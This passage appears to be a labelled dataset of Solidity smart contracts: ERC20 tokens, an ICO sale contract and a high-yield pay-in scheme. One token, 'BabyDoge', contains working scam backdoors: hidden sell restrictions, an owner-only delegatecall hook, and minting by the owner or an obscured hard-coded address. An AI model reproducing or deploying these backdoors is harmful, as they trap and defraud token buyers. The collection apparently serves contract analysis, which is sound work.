function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract ExoTownToken is StandardToken, SafeMath {
string public constant name = "ExoTown token";
string public constant symbol = "SNEK";
uint public constant decimals = 18;
address public icoContract = 0x0;
modifier onlyIcoContract() {
require(msg.sender == icoContract);
_;
}
function ExoTownToken(address _icoContract) {
require(_icoContract != 0x0);
icoContract = _icoContract;
}
function burnTokens(address _from, uint _value) onlyIcoContract {
require(_value > 0);
balances[_from] = sub(balances[_from], _value);
totalSupply -= _value;
}
function emitTokens(address _to, uint _value) onlyIcoContract {
require(totalSupply + _value >= totalSupply);
balances[_to] = add(balances[_to], _value);
totalSupply += _value;
if(!ownerAppended[_to]) {
ownerAppended[_to] = true;
owners.push(_to);
}
Transfer(0x0, _to, _value);
}
function getOwner(uint index) constant returns (address, uint) {
return (owners[index], balances[owners[index]]);
}
function getOwnerCount() constant returns (uint) {
return owners.length;
}
}
contract ExoTownIco is SafeMath, IcoLimits {
ExoTownToken public exotownToken;
enum State {
Pause,
Running
}
State public currentState = State.Pause;
uint public privateSaleSoldTokens = 0;
uint public preSaleSoldTokens = 0;
uint public publicSaleSoldTokens = 0;
uint public privateSaleEtherRaised = 0;
uint public preSaleEtherRaised = 0;
uint public publicSaleEtherRaised = 0;
address public icoManager;
address public founderWallet;
address public buyBack;
address public developmentWallet;
address public marketingWallet;
address public teamWallet;
address public bountyOwner;
address public mediatorWallet;
bool public sentTokensToBountyOwner = false;
bool public sentTokensToFounders = false;
modifier whenInitialized() {
require(currentState >= State.Running);
_;
}
modifier onlyManager() {
require(msg.sender == icoManager);
_;
}
modifier onIco() {
require( isPrivateSale() || isPreSale() || isPublicSale() );
_;
}
modifier hasBountyCampaign() {
require(bountyOwner != 0x0);
_;
}
function isPrivateSale() constant internal returns (bool) {
return now >= privateSaleStart && now <= privateSaleEnd;
}
function isPreSale() constant internal returns (bool) {
return now >= presaleStart && now <= presaleEnd;
}
function isPublicSale() constant internal returns (bool) {
return now >= publicSaleStart && now <= publicSaleEnd;
}
function getPrice() constant internal returns (uint) {
if (isPrivateSale()) return privateSalePrice;
if (isPreSale()) return preSalePrice;
if (isPublicSale()) return publicSalePrice;
return publicSalePrice;
}
function getStageSupplyLimit() constant returns (uint) {
if (isPrivateSale()) return privateSaleSupplyLimit;
if (isPreSale()) return preSaleSupplyLimit;
if (isPublicSale()) return publicSaleSupplyLimit;
return 0;
}
function getStageSoldTokens() constant returns (uint) {
if (isPrivateSale()) return privateSaleSoldTokens;
if (isPreSale()) return preSaleSoldTokens;
if (isPublicSale()) return publicSaleSoldTokens;
return 0;
}
function addStageTokensSold(uint _amount) internal {
if (isPrivateSale()) privateSaleSoldTokens = add(privateSaleSoldTokens, _amount);
if (isPreSale()) preSaleSoldTokens = add(preSaleSoldTokens, _amount);
if (isPublicSale()) publicSaleSoldTokens = add(publicSaleSoldTokens, _amount);
}
function addStageEtherRaised(uint _amount) internal {
if (isPrivateSale()) privateSaleEtherRaised = add(privateSaleEtherRaised, _amount);
if (isPreSale()) preSaleEtherRaised = add(preSaleEtherRaised, _amount);
if (isPublicSale()) publicSaleEtherRaised = add(publicSaleEtherRaised, _amount);
}
function getStageEtherRaised() constant returns (uint) {
if (isPrivateSale()) return privateSaleEtherRaised;
if (isPreSale()) return preSaleEtherRaised;
if (isPublicSale()) return publicSaleEtherRaised;
return 0;
}
function getTokensSold() constant returns (uint) {
return
privateSaleSoldTokens +
preSaleSoldTokens +
publicSaleSoldTokens;
}
function getEtherRaised() constant returns (uint) {
return
privateSaleEtherRaised +
preSaleEtherRaised +
publicSaleEtherRaised;
}
function ExoTownIco(address _icoManager) {
require(_icoManager != 0x0);
exotownToken = new ExoTownToken(this);
icoManager = _icoManager;
}
function init(
address _founder,
address _dev,
address _pr,
address _team,
address _buyback,
address _mediator
) onlyManager {
require(currentState == State.Pause);
require(_founder != 0x0);
require(_dev != 0x0);
require(_pr != 0x0);
require(_team != 0x0);
require(_buyback != 0x0);
require(_mediator != 0x0);
founderWallet = _founder;
developmentWallet = _dev;
marketingWallet = _pr;
teamWallet = _team;
buyBack = _buyback;
mediatorWallet = _mediator;
currentState = State.Running;
exotownToken.emitTokens(icoManager, 0);
}
function setState(State _newState) public onlyManager {
currentState = _newState;
}
function setNewManager(address _newIcoManager) onlyManager {
require(_newIcoManager != 0x0);
icoManager = _newIcoManager;
}
function setBountyCampaign(address _bountyOwner) onlyManager {
require(_bountyOwner != 0x0);
bountyOwner = _bountyOwner;
}
function setNewMediator(address _mediator) onlyManager {
require(_mediator != 0x0);
mediatorWallet = _mediator;
}
function buyTokens(address _buyer) private {
require(_buyer != 0x0);
require(msg.value > 0);
uint tokensToEmit = msg.value * getPrice();
uint volumeBonusPercent = volumeBonus(msg.value);
if (volumeBonusPercent > 0) {
tokensToEmit = mul(tokensToEmit, 100 + volumeBonusPercent) / 100;
}
uint stageSupplyLimit = getStageSupplyLimit();
uint stageSoldTokens = getStageSoldTokens();
require(add(stageSoldTokens, tokensToEmit) <= stageSupplyLimit);
exotownToken.emitTokens(_buyer, tokensToEmit);
addStageTokensSold(tokensToEmit);
addStageEtherRaised(msg.value);
distributeEtherByStage();
}
function giftToken(address _to) public payable onIco {
buyTokens(_to);
}
function () payable onIco {
buyTokens(msg.sender);
}
function distributeEtherByStage() private {
uint _balance = this.balance;
uint _balance_div = _balance / 100;
uint _devAmount = _balance_div * 65;
uint _prAmount = _balance_div * 25;
uint total = _devAmount + _prAmount;
if (total > 0) {
uint _mediatorAmount = _devAmount / 100;
mediatorWallet.transfer(_mediatorAmount);
developmentWallet.transfer(_devAmount - _mediatorAmount);
marketingWallet.transfer(_prAmount);
teamWallet.transfer(_balance - _devAmount - _prAmount);
}
}
function withdrawEther(uint _value) onlyManager {
require(_value > 0);
require(_value * 1000000000000000 <= this.balance);
icoManager.transfer(_value * 1000000000000000);
}
function sendTokensToBountyOwner() onlyManager whenInitialized hasBountyCampaign afterPublicSale {
require(!sentTokensToBountyOwner);
uint bountyTokens = getTokensSold() / 40;
exotownToken.emitTokens(bountyOwner, bountyTokens);
sentTokensToBountyOwner = true;
}
function sendTokensToFounders() onlyManager whenInitialized afterPublicSale {
require(!sentTokensToFounders);
require(now >= foundersTokensUnlock);
uint founderReward = getTokensSold() / 10;
exotownToken.emitTokens(founderWallet, founderReward);
sentTokensToFounders = true;
}
function burnTokens(uint _amount) afterPublicSale {
exotownToken.burnTokens(buyBack, _amount);
}
} | 1 | 3,246 |
pragma solidity ^0.5.2;
contract Ownable {
address public _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = 0x202Abc6cF98863ee0126C182CA325a33A867ACbA;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(msg.sender == _owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20_Interface {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract RC20 is ERC20_Interface, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
uint8 private _decimals;
string private _name;
string private _symbol;
constructor() public {
_totalSupply = 900000000e18;
_decimals = 18;
_name = "RoboCalls";
_symbol = "RC20";
_balances[_owner] = _totalSupply;
emit Transfer(address(this), _owner, _totalSupply);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function decimals() public view returns(uint8) {
return _decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function burn(uint256 value) public onlyOwner {
_totalSupply = _totalSupply.sub(value);
_balances[msg.sender] = _balances[msg.sender].sub(value);
emit Transfer(msg.sender, address(0), value);
}
} | 1 | 3,228 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract OAICToken is Ownable, BurnableToken, PausableToken {
string public constant name = "Overseas Assets Investment Chain";
string public constant symbol = "OAIC";
uint8 public constant decimals = 18;
string public version = '1.0.0';
uint256 public constant INITIAL_SUPPLY = 100 * 100000000 * (10 ** uint256(decimals));
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(this, msg.sender, INITIAL_SUPPLY);
}
function() payable public {
}
function withdrawEth(uint256 _value) public onlyOwner {
owner.transfer(_value);
}
function transferAnyERC20Token(address _token_address, uint _amount) public onlyOwner returns (bool success) {
return ERC20(_token_address).transfer(owner, _amount);
}
function transferMultiple(address[] _addresses, uint[] _amounts) external {
for (uint i; i < _addresses.length; i++) {
super.transfer(_addresses[i], _amounts[i]);
}
}
function transferMultipleSame(address[] _addresses, uint _amount) external {
for (uint i; i < _addresses.length; i++) {
super.transfer(_addresses[i], _amount);
}
}
} | 1 | 4,329 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract BabyDoge {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,885 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract KINGKOIN is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function KINGKOIN() public {
symbol = "KK";
name = "KING KOIN";
decimals = 8;
_totalSupply = 10000000000000000;
balances[0x69aee1d323c2e92063b86e25fc97b142fa00e8d9] = _totalSupply;
Transfer(address(0), 0x69aee1d323c2e92063b86e25fc97b142fa00e8d9, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 2,263 |
pragma solidity ^0.4.24;
contract Daily125 {
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public step = 125;
uint256 public minimum = 10 finney;
uint256 public stakingRequirement = 0.25 ether;
address public ownerWallet;
address public owner;
address promoter = 0x6842a9ad0BC604c1D9330190B9035051a7525569;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
ownerWallet = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () public payable {
buy(0x0);
}
function buy(address _referredBy) public payable {
require(msg.value >= minimum);
address _customerAddress = msg.sender;
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
investments[_referredBy] >= stakingRequirement
){
referrer[_referredBy] = referrer[_referredBy].add(msg.value.mul(5).div(100));
}
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.mul(5).div(100));
promoter.transfer(msg.value.div(100).mul(5));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(1440);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
